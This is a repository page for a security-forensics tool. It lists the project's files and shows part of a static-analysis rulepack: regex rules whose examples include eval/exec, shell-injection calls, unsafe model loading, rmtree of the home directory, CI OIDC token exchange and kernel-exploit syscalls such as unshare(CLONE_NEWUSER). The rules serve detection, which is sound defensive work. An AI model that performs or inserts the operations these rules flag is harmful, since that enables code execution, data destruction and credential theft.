Skip to content

alexgreensh/repo-forensics / skills/repo-forensics

repo-forensics

Flagged

Security forensics for git repos, AI skills, and MCP servers. Audits dependencies, detects prompt injection, credential theft, runtime dynamism, manifest drift, known CVEs, CISA KEV (actively exploited) vulns, and 2026 attack patterns. Not for fixing vulnerabilities or pentesting.

FileKindSize
.gitignoreother193 B
SKILL.mdskill md43.4 KB
checksums.jsonconfig10.8 KB
checksums.json.sigother64 B
data/README.mdmarkdown1.3 KB
data/compromised_versions.jsonconfig188.3 KB
data/rule_ids.csvother35.3 KB
data/rulepacks/.gitkeepother221 B
data/rulepacks/dead_anchors.jsonconfig9.0 KB
data/rulepacks/mcp_security.jsonconfig31.2 KB
data/rulepacks/runtime_dynamism.jsonconfig46.7 KB
data/rulepacks/sast.jsonconfig107.6 KB
data/rulepacks/secrets.jsonconfig30.4 KB
data/rulepacks/shared.jsonconfig4.4 KB
data/rulepacks/skill_threats.jsonconfig95.4 KB
data/runtime_floors.jsonconfig2.3 KB
data/yara/cryptominers.yarother1.8 KB
data/yara/hacktools.yarother2.2 KB
data/yara/malware.yarother2.2 KB
data/yara/manifest.jsonconfig8.0 KB
data/yara/webshells.yarother2.5 KB
references/cursor-hook-contract.mdmarkdown5.6 KB
references/kernel_privesc_sandbox_pack.mdmarkdown5.0 KB
references/mcp-attack-patterns.mdmarkdown8.7 KB
references/research_sources.mdmarkdown8.0 KB
references/threat_patterns.mdmarkdown20.3 KB
scripts/_context_gate.pyscript21.7 KB
scripts/_ed25519.pyscript5.1 KB
scripts/_pyc_unmarshal.pyscript17.1 KB
scripts/_shared_patterns.pyscript4.8 KB
scripts/adjudication.pyscript16.4 KB
scripts/adjudication_bridge.pyscript1.0 KB
scripts/aggregate_json.pyscript69.2 KB
scripts/auto_scan.pyexecutablescript152.1 KB
scripts/corpus_sync.pyscript10.0 KB
scripts/cursor_pre_scan.pyscript22.5 KB
scripts/dast_sandbox.sbother1.6 KB
scripts/dead_anchors_extract.pyscript14.8 KB
scripts/dead_anchors_probe.pyscript27.1 KB
scripts/forensics_core.pyscript176.5 KB
scripts/gen_rule_ids.pyscript8.6 KB
scripts/hook_adapter.pyscript19.4 KB
scripts/ioc_manager.pyscript49.6 KB
scripts/parse_pnpm_lock.pyscript7.9 KB
scripts/pre_scan.pyscript143.5 KB
scripts/pypi_pins.pyscript8.1 KB
scripts/refresh_controller.pyexecutablescript48.4 KB
scripts/refresh_threat_dbs.pyexecutablescript19.4 KB
scripts/rule_loader.pyscript44.8 KB
scripts/rulepack_feed.pyscript26.4 KB
scripts/run_forensics.shexecutablescript20.3 KB
scripts/sarif_export.pyscript18.6 KB
scripts/scan_agent_skills.pyscript33.2 KB
scripts/scan_archive.pyscript29.1 KB
scripts/scan_ast.pyscript44.9 KB
scripts/scan_binary.pyscript10.9 KB
scripts/scan_bytecode.pyscript28.2 KB
scripts/scan_dast.pyscript28.8 KB
scripts/scan_dataflow.pyscript15.4 KB
scripts/scan_dead_anchors.pyscript15.9 KB
scripts/scan_decode.pyscript37.5 KB
scripts/scan_dependencies.pyscript124.5 KB
scripts/scan_devcontainer.pyscript8.5 KB
scripts/scan_entropy.pyscript15.6 KB
scripts/scan_entrypoint.pyscript34.3 KB
scripts/scan_git_config.pyscript96.3 KB
scripts/scan_git_forensics.pyscript24.1 KB
scripts/scan_history.pyscript14.5 KB
scripts/scan_infra.pyscript54.3 KB
scripts/scan_integrity.pyscript41.0 KB
scripts/scan_lifecycle.pyscript65.1 KB
scripts/scan_manifest_drift.pyscript47.0 KB
scripts/scan_mcp_security.pyscript42.3 KB
scripts/scan_oversize.pyscript11.7 KB
scripts/scan_post_incident.pyscript36.9 KB
scripts/scan_provenance.pyscript19.4 KB
scripts/scan_runtime_dynamism.pyscript23.5 KB
scripts/scan_runtime_floors.pyscript33.5 KB
scripts/scan_sast.pyscript59.1 KB
scripts/scan_secrets.pyscript11.9 KB
scripts/scan_skill_threats.pyscript102.4 KB
scripts/scan_splitstream.pyscript29.5 KB
scripts/scan_yara.pyscript19.7 KB
scripts/session_scan.pyscript54.1 KB
scripts/suppressions.pyscript15.4 KB
scripts/validate_manifests.pyscript13.7 KB
scripts/verify_install.pyscript26.2 KB
scripts/vuln_feed.pyscript31.1 KB
tests/conftest.pyscript13.4 KB
tests/corpus/DEAD_ANCHORS_CORPUS.mdmarkdown2.3 KB
tests/corpus/budgets.jsonconfig5.6 KB
tests/cursor_helpers.pyscript12.6 KB
tests/fixtures/legacy_main_blocks.jsonconfig10.3 KB
tests/fixtures/powershell_verdict_corpus.jsonconfig114.9 KB
tests/golden/parity_mcp_security.jsonconfig17.5 KB
tests/golden/parity_runtime_dynamism.jsonconfig31.7 KB
tests/golden/parity_sast.jsonconfig59.8 KB
tests/golden/parity_secrets.jsonconfig18.8 KB
tests/golden/parity_skill_threats.jsonconfig48.8 KB
tests/parity_corpus.pyscript6.3 KB
tests/powershell_hook.pyscript8.2 KB
tests/report_builders.pyscript5.0 KB
tests/schemas/sarif-schema-2.1.0.jsonconfig109.1 KB
tests/shell_compat.pyscript2.2 KB
tests/test_adjudication_bridge.pyscript832 B
tests/test_adjudication_containment.pyscript1.4 KB
tests/test_adjudication_output.pyscript20.0 KB
tests/test_adjudication_suppressions.pyscript18.7 KB
tests/test_advisory_adjudication.pyscript1.3 KB
tests/test_agent_relay_rules.pyscript7.8 KB
tests/test_aggregate_json.pyscript10.0 KB
tests/test_auto_scan_patterns.pyscript10.5 KB
tests/test_benign_corpus.pyscript16.4 KB
tests/test_benign_new_scanners.pyscript6.1 KB
tests/test_build_output_skip.pyscript10.6 KB
tests/test_capability_ledger.pyscript18.8 KB
tests/test_codex_install.pyscript10.0 KB
tests/test_codex_marketplace.pyscript3.3 KB
tests/test_comment_false_positives.pyscript2.2 KB
tests/test_composer_dependencies.pyscript4.0 KB
tests/test_compromised_versions.pyscript51.2 KB
tests/test_context_gate.pyscript32.4 KB
tests/test_coverage_status.pyscript7.6 KB
tests/test_css_compounding_shrink.pyscript20.8 KB
tests/test_cursor_adapter.pyscript7.8 KB
tests/test_cursor_benign.pyscript3.4 KB
tests/test_cursor_degrade.pyscript12.7 KB
tests/test_cursor_install.pyscript17.1 KB
tests/test_cursor_latency.pyscript7.2 KB
tests/test_cursor_parity.pyscript5.8 KB
tests/test_cursor_redteam_fn.pyscript4.9 KB
tests/test_cursor_tamper_modify.pyscript14.2 KB
tests/test_cursor_wiring.pyscript32.3 KB
tests/test_d1_yara_correlation.pyscript9.2 KB
tests/test_dead_anchors_extract.pyscript7.6 KB
tests/test_dead_anchors_probe.pyscript19.7 KB
tests/test_evidence_engine_parity.pyscript8.1 KB
tests/test_evidence_model.pyscript11.4 KB
tests/test_forensics_core.pyscript79.2 KB
tests/test_fp_hardening_r3.pyscript9.7 KB
tests/test_fp_hardening_r4.pyscript18.8 KB
tests/test_fp_regression_pairs.pyscript62.5 KB
tests/test_fp_structural.pyscript21.2 KB
tests/test_freshness.pyscript6.2 KB
tests/test_frontmatter_validity.pyscript7.0 KB
tests/test_gpg_rce_hotfix.pyscript4.8 KB
tests/test_hook_inert_data.pyscript6.1 KB
tests/test_hook_scripts.pyscript14.0 KB
tests/test_inspection_cpu_budget.pyscript11.6 KB
tests/test_ioc_manager.pyscript55.4 KB
tests/test_kernel_privesc_rules.pyscript27.8 KB
tests/test_legit_precision_regressions.pyscript6.8 KB
tests/test_lethal_trifecta.pyscript20.7 KB
tests/test_manifest_signature.pyscript1.5 KB
tests/test_manifest_validity.pyscript2.9 KB
tests/test_monotonic_trust_e2e.pyscript4.4 KB
tests/test_non_breaking_contract.pyscript22.7 KB
tests/test_openclaw_install.pyscript6.6 KB
tests/test_pack_parity.pyscript24.8 KB
tests/test_parse_pnpm_lock.pyscript10.7 KB
tests/test_plugin_checkout_provenance.pyscript11.1 KB
tests/test_powershell_hook_wire.pyscript10.6 KB
tests/test_powershell_verdict_corpus.pyscript6.2 KB
tests/test_pr44_hardening.pyscript6.5 KB
tests/test_pre_scan.pyscript19.6 KB
tests/test_pre_scan_composer.pyscript7.4 KB
tests/test_precondition_fields.pyscript4.6 KB
tests/test_provenance_offline.pyscript2.5 KB
tests/test_published_rulepack_feed_current.pyscript1.4 KB
tests/test_py38_compat.pyscript3.3 KB
tests/test_pypi_pinned_versions.pyscript19.3 KB
tests/test_pyproject_string_forms.pyscript2.2 KB
tests/test_redteam_fn_regression.pyscript32.5 KB
tests/test_reflective_fetch_execute.pyscript23.5 KB
tests/test_reflective_review_fixes.pyscript17.8 KB
tests/test_refresh_controller.pyscript19.9 KB
tests/test_refresh_rulepacks.pyscript12.4 KB
tests/test_review_gate_regressions.pyscript9.3 KB
tests/test_rule_loader.pyscript23.2 KB
tests/test_rulepack_feed.pyscript38.1 KB
tests/test_run_forensics_json.pyscript1012 B
tests/test_run_scanner_fail_loud.pyscript6.5 KB
tests/test_runtime_floors.pyscript19.8 KB
tests/test_sandbox_probing_rules.pyscript9.6 KB
tests/test_sarif_export.pyscript19.9 KB
tests/test_scan_agent_skills.pyscript31.3 KB
tests/test_scan_archive.pyscript11.6 KB
tests/test_scan_ast.pyscript12.8 KB
tests/test_scan_binary.pyscript15.3 KB
tests/test_scan_bytecode.pyscript21.5 KB
tests/test_scan_dast.pyscript32.1 KB
tests/test_scan_dataflow.pyscript7.1 KB
tests/test_scan_dead_anchors.pyscript11.5 KB
tests/test_scan_decode.pyscript28.0 KB
tests/test_scan_dependencies.pyscript37.8 KB
tests/test_scan_devcontainer.pyscript8.5 KB
tests/test_scan_entropy.pyscript11.2 KB
tests/test_scan_entrypoint.pyscript19.5 KB
tests/test_scan_git_config.pyscript58.5 KB
tests/test_scan_git_config_review_fixes.pyscript33.3 KB

data/rulepacks/sast.json

View on GitHub
{
  "schema_version": "1.0",
  "generated": "2026-06-10",
  "pack": "sast",
  "pack_version": 1,
  "rules": [
    {
      "id": "SA-PY-001",
      "type": "regex",
      "pattern": "\\beval\\s*\\(",
      "extensions": [
        ".py"
      ],
      "title": "Dangerous Eval",
      "severity": "high",
      "confidence": 0.7,
      "category": "code-execution",
      "attacker": "malicious user input",
      "boundary": "code/data boundary",
      "asset": "server runtime",
      "explanation": "Dangerous Eval (code-execution) detected in a .py file.",
      "examples": {
        "match": [
          "eval(user_input)",
          "result = eval('1+1')",
          "eval ( x )"
        ],
        "no_match": [
          "evaluate(x)",
          "# eval is risky"
        ]
      }
    },
    {
      "id": "SA-PY-002",
      "type": "regex",
      "pattern": "\\bexec\\s*\\(",
      "extensions": [
        ".py"
      ],
      "title": "Dangerous Exec",
      "severity": "high",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Dangerous Exec (code-execution) detected in a .py file.",
      "examples": {
        "match": [
          "exec(code)",
          "exec ('print(1)')",
          "exec(compiled)"
        ],
        "no_match": [
          "execute_query(x)",
          "# exec note"
        ]
      }
    },
    {
      "id": "SA-PY-003",
      "type": "regex",
      "pattern": "\\b__import__\\s*\\(",
      "extensions": [
        ".py"
      ],
      "title": "Dynamic Import",
      "severity": "high",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Dynamic Import (code-execution) detected in a .py file.",
      "examples": {
        "match": [
          "__import__('os')",
          "m = __import__ (name)",
          "__import__('subprocess')"
        ],
        "no_match": [
          "import os",
          "from x import y"
        ]
      }
    },
    {
      "id": "SA-PY-004",
      "type": "regex",
      "pattern": "\\bcompile\\s*\\([^)]*[\\'\"]exec[\\'\"]",
      "extensions": [
        ".py"
      ],
      "title": "Dynamic Compile",
      "severity": "medium",
      "confidence": 0.7,
      "category": "code-execution",
      "explanation": "Dynamic Compile (code-execution) detected in a .py file.",
      "examples": {
        "match": [
          "compile(src, '<s>', 'exec')",
          "compile(code,'f','exec')",
          "c = compile( x , 'm' , 'exec' )"
        ],
        "no_match": [
          "compile(src, '<s>', 'eval')",
          "re.compile(pattern)"
        ]
      }
    },
    {
      "id": "SA-PY-005",
      "type": "regex",
      "pattern": "\\b(pickle|cPickle|shelve|yaml)\\.(loads?|load_all|unsafe_load)\\s*\\(",
      "extensions": [
        ".py"
      ],
      "title": "Unsafe Deserialization",
      "severity": "critical",
      "confidence": 0.85,
      "category": "deserialization",
      "explanation": "Unsafe Deserialization (deserialization) detected in a .py file.",
      "examples": {
        "match": [
          "pickle.loads(data)",
          "yaml.load(stream)",
          "cPickle.load(f)"
        ],
        "no_match": [
          "pickle.dumps(obj)",
          "yaml.safe_load(s)"
        ]
      }
    },
    {
      "id": "SA-PY-006",
      "type": "regex",
      "pattern": "\\bsubprocess\\.(call|run|Popen|check_output|check_call)\\s*\\([^)]*shell\\s*=\\s*True",
      "extensions": [
        ".py"
      ],
      "title": "Shell Injection (subprocess)",
      "severity": "critical",
      "confidence": 0.8,
      "category": "shell-injection",
      "explanation": "Shell Injection (subprocess) (shell-injection) detected in a .py file.",
      "examples": {
        "match": [
          "subprocess.run(cmd, shell=True)",
          "subprocess.Popen(c, shell = True)",
          "subprocess.call('ls', shell=True)"
        ],
        "no_match": [
          "subprocess.run(cmd)",
          "subprocess.run(cmd, shell=False)"
        ]
      }
    },
    {
      "id": "SA-PY-007",
      "type": "regex",
      "pattern": "\\bos\\.(popen|system)\\s*\\(",
      "extensions": [
        ".py"
      ],
      "title": "Shell Injection (os)",
      "severity": "critical",
      "confidence": 0.8,
      "category": "shell-injection",
      "explanation": "Shell Injection (os) (shell-injection) detected in a .py file.",
      "examples": {
        "match": [
          "os.system('ls')",
          "os.popen(cmd)",
          "os.system ( x )"
        ],
        "no_match": [
          "os.path.join(a,b)",
          "os.listdir('.')"
        ]
      }
    },
    {
      "id": "SA-PY-008",
      "type": "regex",
      "pattern": "(?i)(execute|cursor\\.execute)\\s*\\([^)]*(%s|%d|\\+|\\.format|f[\\'\"])",
      "extensions": [
        ".py"
      ],
      "title": "SQL Injection Pattern",
      "severity": "high",
      "confidence": 0.7,
      "category": "injection",
      "explanation": "SQL Injection Pattern (injection) detected in a .py file.",
      "examples": {
        "match": [
          "cursor.execute('SELECT * FROM t WHERE id=%s' % i)",
          "execute('q' + var)",
          "cursor.execute(f'select {x}')"
        ],
        "no_match": [
          "cursor.execute('SELECT 1')",
          "logger.info('done')"
        ]
      },
      "flags": [
        "IGNORECASE"
      ]
    },
    {
      "id": "SA-PY-009",
      "type": "regex",
      "pattern": "[\\'\\\"]\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}[\\'\"]",
      "extensions": [
        ".py"
      ],
      "title": "Hardcoded IP",
      "severity": "low",
      "confidence": 0.3,
      "category": "hardcoded",
      "explanation": "Hardcoded IP (hardcoded) detected in a .py file.",
      "examples": {
        "match": [
          "host = '10.0.0.1'",
          "ip='192.168.0.1'",
          "addr = \"172.16.0.1\""
        ],
        "no_match": [
          "version = '1.2.3'",
          "host = 'example.com'"
        ]
      }
    },
    {
      "id": "SA-PY-010",
      "type": "regex",
      "pattern": "from_pretrained\\s*\\(\\s*[\\'\"][a-zA-Z0-9_-]+/[a-zA-Z0-9_.-]+[\\'\"]",
      "extensions": [
        ".py"
      ],
      "title": "Model Confusion: Bare from_pretrained Path",
      "severity": "high",
      "confidence": 0.85,
      "category": "model-confusion",
      "explanation": "Model Confusion: Bare from_pretrained Path (model-confusion) detected in a .py file.",
      "examples": {
        "match": [
          "model.from_pretrained('org/model')",
          "from_pretrained('user/repo-v1')",
          "from_pretrained( 'a/b.c' )"
        ],
        "no_match": [
          "from_pretrained('/local/path')",
          "from_pretrained(model_dir)"
        ]
      }
    },
    {
      "id": "SA-PY-011",
      "type": "regex",
      "pattern": "trust_remote_code\\s*=\\s*True",
      "extensions": [
        ".py"
      ],
      "title": "Model Confusion: trust_remote_code=True",
      "severity": "critical",
      "confidence": 0.85,
      "category": "model-confusion",
      "explanation": "Model Confusion: trust_remote_code=True (model-confusion) detected in a .py file.",
      "examples": {
        "match": [
          "from_pretrained('x', trust_remote_code=True)",
          "trust_remote_code = True",
          "trust_remote_code=True"
        ],
        "no_match": [
          "trust_remote_code=False",
          "# trust_remote_code note"
        ]
      }
    },
    {
      "id": "SA-PY-012",
      "type": "regex",
      "pattern": "torch\\.load\\s*\\([^)]*weights_only\\s*=\\s*False",
      "extensions": [
        ".py"
      ],
      "title": "Unsafe Model Load: torch.load weights_only=False",
      "severity": "critical",
      "confidence": 0.85,
      "category": "model-confusion",
      "explanation": "Unsafe Model Load: torch.load weights_only=False (model-confusion) detected in a .py file.",
      "examples": {
        "match": [
          "torch.load(f, weights_only=False)",
          "torch.load(path, weights_only = False)",
          "torch.load('m.pt', weights_only=False)"
        ],
        "no_match": [
          "torch.load(f, weights_only=True)",
          "torch.save(m, f)"
        ]
      }
    },
    {
      "id": "SA-PY-013",
      "type": "regex",
      "pattern": "torch\\.load\\s*\\((?![^)]*\\bweights_only\\b)",
      "extensions": [
        ".py"
      ],
      "title": "Unsafe Pickle Model Load",
      "severity": "high",
      "confidence": 0.85,
      "category": "model-confusion",
      "explanation": "Unsafe Pickle Model Load (model-confusion) detected in a .py file.",
      "examples": {
        "match": [
          "torch.load('model.pt')",
          "m = torch.load(path)",
          "torch.load( f )"
        ],
        "no_match": [
          "torch.load(f, weights_only=True)",
          "torch.save(m, f)"
        ]
      }
    },
    {
      "id": "SA-PY-014",
      "type": "regex",
      "pattern": "shutil\\.rmtree\\s*\\(\\s*(?:os\\.path\\.expanduser\\([^)]*~|os\\.environ[^)]*HOME)",
      "extensions": [
        ".py"
      ],
      "title": "Destructive: shutil.rmtree on Home",
      "severity": "critical",
      "confidence": 0.9,
      "category": "destructive-command",
      "explanation": "Destructive: shutil.rmtree on Home (destructive-command) detected in a .py file.",
      "examples": {
        "match": [
          "shutil.rmtree(os.path.expanduser('~/x'))",
          "shutil.rmtree(os.environ['HOME'])",
          "shutil.rmtree( os.path.expanduser( '~' ) )"
        ],
        "no_match": [
          "shutil.rmtree('/tmp/build')",
          "shutil.copy(a, b)"
        ]
      }
    },
    {
      "id": "SA-PY-015",
      "type": "regex",
      "pattern": "twine\\s+upload|subprocess.*twine.*upload|setup\\.py\\s+sdist\\s+upload",
      "extensions": [
        ".py"
      ],
      "title": "PyPI Worm: Programmatic Publish",
      "severity": "critical",
      "confidence": 0.85,
      "category": "worm-propagation",
      "explanation": "PyPI Worm: Programmatic Publish (worm-propagation) detected in a .py file.",
      "examples": {
        "match": [
          "twine upload dist/*",
          "subprocess.run('twine upload x')",
          "setup.py sdist upload"
        ],
        "no_match": [
          "pip install twine",
          "# upload docs"
        ]
      }
    },
    {
      "id": "SA-PY-016",
      "type": "regex",
      "pattern": "(?:socket\\.)?socket\\s*\\(\\s*(?:38|0x26|(?:socket\\.)?AF_ALG)\\s*[\\s,)]",
      "extensions": [
        ".py"
      ],
      "title": "Kernel Exploit: AF_ALG Socket",
      "severity": "critical",
      "confidence": 0.8,
      "category": "kernel-exploit",
      "explanation": "Kernel Exploit: AF_ALG Socket (kernel-exploit) detected in a .py file.",
      "examples": {
        "match": [
          "socket.socket(socket.AF_ALG, 0)",
          "socket(38, 0)",
          "s = socket.socket( AF_ALG )"
        ],
        "no_match": [
          "socket.socket(socket.AF_INET)",
          "# AF_ALG mention"
        ]
      }
    },
    {
      "id": "SA-PY-017",
      "type": "regex",
      "pattern": "\\.bind\\s*\\(\\s*\\(\\s*[\\'\"](?:aead|skcipher)[\\'\"]",
      "extensions": [
        ".py"
      ],
      "title": "Kernel Exploit: Crypto Template Bind",
      "severity": "critical",
      "confidence": 0.8,
      "category": "kernel-exploit",
      "explanation": "Kernel Exploit: Crypto Template Bind (kernel-exploit) detected in a .py file.",
      "examples": {
        "match": [
          "s.bind(('aead', 'x'))",
          ".bind( ('skcipher', 'y') )",
          "sock.bind(('aead','gcm'))"
        ],
        "no_match": [
          ".bind(('127.0.0.1', 80))",
          "bind mount"
        ]
      }
    },
    {
      "id": "SA-PY-018",
      "type": "regex",
      "pattern": "\\bauthencesn\\b",
      "extensions": [
        ".py"
      ],
      "title": "Kernel Exploit: authencesn Reference",
      "severity": "high",
      "confidence": 0.8,
      "category": "kernel-exploit",
      "explanation": "Kernel Exploit: authencesn Reference (kernel-exploit) detected in a .py file.",
      "examples": {
        "match": [
          "alg = 'authencesn'",
          "use authencesn here",
          "x authencesn y"
        ],
        "no_match": [
          "authentication",
          "auth_token"
        ]
      }
    },
    {
      "id": "SA-PY-019",
      "type": "regex",
      "pattern": "getattr\\s*\\(\\s*__import__\\s*\\(",
      "extensions": [
        ".py"
      ],
      "title": "Reflection RCE: getattr + __import__ combo",
      "severity": "high",
      "confidence": 0.65,
      "category": "reflection-rce",
      "explanation": "Reflection RCE: getattr + __import__ combo (reflection-rce) detected in a .py file.",
      "examples": {
        "match": [
          "getattr(__import__('os'), 'system')",
          "getattr( __import__('subprocess'), 'run')",
          "f = getattr(__import__('m'), 'x')"
        ],
        "no_match": [
          "getattr(obj, 'attr')",
          "__import__('os')"
        ]
      }
    },
    {
      "id": "SA-PY-020",
      "type": "regex",
      "pattern": "/proc/\\d+/mem|/proc/self/mem",
      "extensions": [
        ".py"
      ],
      "title": "Process Memory Read (/proc)",
      "severity": "critical",
      "confidence": 0.9,
      "category": "memory-forensics",
      "explanation": "Process Memory Read (/proc) (memory-forensics) detected in a .py file.",
      "examples": {
        "match": [
          "open('/proc/1234/mem')",
          "/proc/self/mem",
          "read('/proc/999/mem')"
        ],
        "no_match": [
          "/proc/cpuinfo",
          "/process/mem"
        ]
      }
    },
    {
      "id": "SA-PY-021",
      "type": "regex",
      "pattern": "os\\.listdir\\s*\\(\\s*[\"\\']/?proc[\"\\']|glob\\.glob\\s*\\(\\s*[\"\\']/?proc/\\d|/proc/\\*/cmdline",
      "extensions": [
        ".py"
      ],
      "title": "Process Enumeration (/proc)",
      "severity": "high",
      "confidence": 0.7,
      "category": "process-enumeration",
      "explanation": "Process Enumeration (/proc) (process-enumeration) detected in a .py file.",
      "examples": {
        "match": [
          "os.listdir('/proc')",
          "glob.glob('/proc/1')",
          "/proc/*/cmdline"
        ],
        "no_match": [
          "os.listdir('/tmp')",
          "glob.glob('*.py')"
        ]
      }
    },
    {
      "id": "SA-PY-022",
      "type": "regex",
      "pattern": "\\bRunner\\.Worker\\b|\\bRunner\\.Listener\\b",
      "extensions": [
        ".py"
      ],
      "title": "Runner.Worker Process Hunt",
      "severity": "critical",
      "confidence": 0.7,
      "category": "process-enumeration",
      "explanation": "Runner.Worker Process Hunt (process-enumeration) detected in a .py file.",
      "examples": {
        "match": [
          "kill Runner.Worker",
          "find Runner.Listener",
          "runner.worker scan"
        ],
        "no_match": [
          "RunnerWorker class",
          "worker.run()"
        ]
      },
      "flags": [
        "IGNORECASE"
      ]
    },
    {
      "id": "SA-PY-023",
      "type": "regex",
      "pattern": "ACTIONS_ID_TOKEN_REQUEST_TOKEN|ACTIONS_ID_TOKEN_REQUEST_URL|oidc/token/exchange",
      "extensions": [
        ".py"
      ],
      "title": "OIDC Token Exchange",
      "severity": "critical",
      "confidence": 0.85,
      "category": "ci-token-abuse",
      "explanation": "OIDC Token Exchange (ci-token-abuse) detected in a .py file.",
      "examples": {
        "match": [
          "ACTIONS_ID_TOKEN_REQUEST_TOKEN",
          "ACTIONS_ID_TOKEN_REQUEST_URL",
          "oidc/token/exchange"
        ],
        "no_match": [
          "ID_TOKEN_REQUEST",
          "token exchange docs"
        ]
      }
    },
    {
      "id": "SA-PY-024",
      "type": "regex",
      "pattern": "base64\\.b64decode\\s*\\(",
      "extensions": [
        ".py"
      ],
      "title": "Base64 Decode (Obfuscation Signal)",
      "severity": "medium",
      "confidence": 0.6,
      "category": "encoding",
      "attacker": "malicious payload author",
      "boundary": "code/data boundary",
      "asset": "server runtime",
      "explanation": "Base64 decode call in a .py file. Benign in many contexts but feeds the Obfuscated Code Execution correlation rule when combined with an exec/eval finding in the same file.",
      "examples": {
        "match": [
          "base64.b64decode(payload)",
          "exec(base64.b64decode('...'))",
          "data = base64.b64decode (encoded)"
        ],
        "no_match": [
          "b64decode",
          "# base64 decode"
        ]
      }
    },
    {
      "id": "SA-PY-032",
      "type": "regex",
      "pattern": "\\b(?:requests|httpx)\\s*\\.\\s*(?:request|get|post|put|patch|delete|head|options)\\s*\\([^\\n)]*\\bverify\\s*=\\s*False\\b|ssl\\._create_unverified_context\\s*\\(|\\bssl\\.CERT_NONE\\b",
      "extensions": [
        ".py"
      ],
      "title": "Python TLS Certificate Verification Disabled",
      "severity": "high",
      "confidence": 0.85,
      "category": "insecure-transport",
      "attacker": "malicious download source",
      "boundary": "TLS trust boundary",
      "asset": "downloaded payload integrity",
      "explanation": "Disables certificate verification in a known Python HTTP/TLS API, allowing a network attacker to substitute remote content.",
      "examples": {
        "match": [
          "requests.get(url, verify=False)",
          "httpx.post(url, data=d, verify = False)",
          "ctx = ssl._create_unverified_context()",
          "context.verify_mode = ssl.CERT_NONE"
        ],
        "no_match": [
          "requests.get(url, verify=True)",
          "build_artifact(data, verify=False)",
          "def parse(value, verify=False):",
          "ssl.CERT_REQUIRED",
          "ctx.check_hostname = False"
        ]
      }
    },
    {
      "id": "SA-PY-026",
      "type": "regex",
      "pattern": "^(?![ \\t]*#).*(?:\\bunshare\\s*\\([^)]*(?:CLONE_NEWUSER|0x10000000|268435456)\\b|\\bsetns\\s*\\(\\s*[\\w.]+\\s*,\\s*(?:CLONE_\\w+|0x[0-9a-fA-F]+|\\d+)\\s*[\\),]|\\bclone3\\s*\\(|\\bsyscall\\s*\\(\\s*(?:272|308|435)\\s*[,)]|(?:run|Popen|call|system|popen|exec\\w*|spawn\\w*)\\s*\\([^)]*[\\\"'](?:unshare|setns|clone3)(?:[\\\"']|\\s)|getattr\\s*\\([^,]+,\\s*[\\\"'](?:unshare|setns|clone3)[\\\"']|getattr\\s*\\([^,]+,\\s*[\\\"']un[\\\"']\\s*\\+\\s*[\\\"']share[\\\"']|getattr\\s*\\([^,]+,\\s*[\\\"']set[\\\"']\\s*\\+\\s*[\\\"']ns[\\\"']|\\bfrom\\s+[\\w.]+\\s+import\\s+[^#\\n]*\\b(?:unshare|setns|clone3)\\s+as\\s+\\w+)",
      "extensions": [
        ".py"
      ],
      "title": "Kernel Exploit: Namespace Syscall (unshare/setns/clone3)",
      "severity": "critical",
      "confidence": 0.8,
      "category": "kernel-exploit",
      "explanation": "Kernel Exploit: Namespace Syscall (unshare/setns/clone3) (kernel-exploit) detected in a .py file.",
      "examples": {
        "match": [
          "os.unshare(CLONE_NEWUSER)",
          "libc.unshare(0x10000000)",
          "libc.setns(fd, 0)",
          "libc.syscall(308, fd, 0)",
          "subprocess.run([\"unshare\", \"-U\"])",
          "getattr(os, \"unshare\")(0x10000000)",
          "getattr(os, \"un\" + \"share\")(0x10000000)",
          "from os import unshare as _u",
          "libc.unshare(268435456)"
        ],
        "no_match": [
          "def setns(netns, flags=os.O_CREAT, libc=None, fork=True):",
          "setns('/proc/1/ns/net')  # go back to default netns",
          "self.state.set('setns')",
          "('setns', 'invalid'),",
          "unshares(x)",
          "# libc.unshare(CLONE_NEWUSER)",
          "from pyroute2.netns import setns",
          "libc.unshare(1073741824)"
        ]
      }
    },
    {
      "id": "SA-PY-027",
      "type": "regex",
      "pattern": "^(?![ \\t]*#).*(?:socket\\.)?socket\\s*\\(\\s*(?:16|0x10|(?:socket\\.)?(?:AF|PF)_NETLINK)\\s*[\\s,)]",
      "extensions": [
        ".py"
      ],
      "title": "Kernel Exploit: AF_NETLINK Socket",
      "severity": "critical",
      "confidence": 0.8,
      "category": "kernel-exploit",
      "explanation": "Kernel Exploit: AF_NETLINK Socket (kernel-exploit) detected in a .py file.",
      "examples": {
        "match": [
          "socket.socket(socket.AF_NETLINK, socket.SOCK_RAW)",
          "socket(16, 0)",
          "s = socket.socket( AF_NETLINK )"
        ],
        "no_match": [
          "socket.socket(socket.AF_INET)",
          "# AF_NETLINK mention",
          "socket.socket(socket.AF_PACKET)"
        ]
      }
    },
    {
      "id": "SA-PY-028",
      "type": "regex",
      "pattern": "^(?![ \\t]*#).*(?:\\btc\\s+(?:qdisc|class|filter|action)\\s+(?:add|change|replace)\\b|\\bact_pedit\\b|[\\\"']tc[\\\"']\\s*,\\s*[\\\"'](?:qdisc|class|filter|action)[\\\"']\\s*,\\s*[\\\"'](?:add|change|replace)[\\\"']|\\.tc\\s*\\([^)]*\\bpedit\\b)",
      "extensions": [
        ".py"
      ],
      "title": "Kernel Exploit: net/sched Control (tc/pyroute2)",
      "severity": "critical",
      "confidence": 0.8,
      "category": "kernel-exploit",
      "explanation": "Kernel Exploit: net/sched Control (tc/pyroute2) (kernel-exploit) detected in a .py file.",
      "examples": {
        "match": [
          "os.system('tc qdisc add dev eth0 root netem')",
          "module = 'act_pedit'",
          "subprocess.run([\"tc\", \"qdisc\", \"add\", \"dev\", \"lo\", \"root\", \"netem\"])",
          "ipr.tc(\"add-action\", \"pedit\", index=idx)"
        ],
        "no_match": [
          "import pyroute2",
          "from pyroute2 import IPRoute",
          "tc qdisc show",
          "# tc qdisc add dev eth0 root netem example",
          "context.ipr.tc('add', 'htb', index=index)"
        ]
      }
    },
    {
      "id": "SA-PY-029",
      "type": "regex",
      "pattern": "^(?![ \\t]*#).*(?:\\b(?:capset|capget|cap_set_proc|cap_set_flag)\\s*\\(|\\bPR_CAP(?!BSET_DROP\\b)\\w+\\b|getattr\\s*\\([^,]+,\\s*[\\\"'](?:capset|capget)[\\\"']|\\bfrom\\s+[\\w.]+\\s+import\\s+[^#\\n]*\\b(?:capset|capget)\\s+as\\s+\\w+)",
      "extensions": [
        ".py"
      ],
      "title": "Kernel Exploit: Capability Manipulation",
      "severity": "high",
      "confidence": 0.8,
      "category": "kernel-exploit",
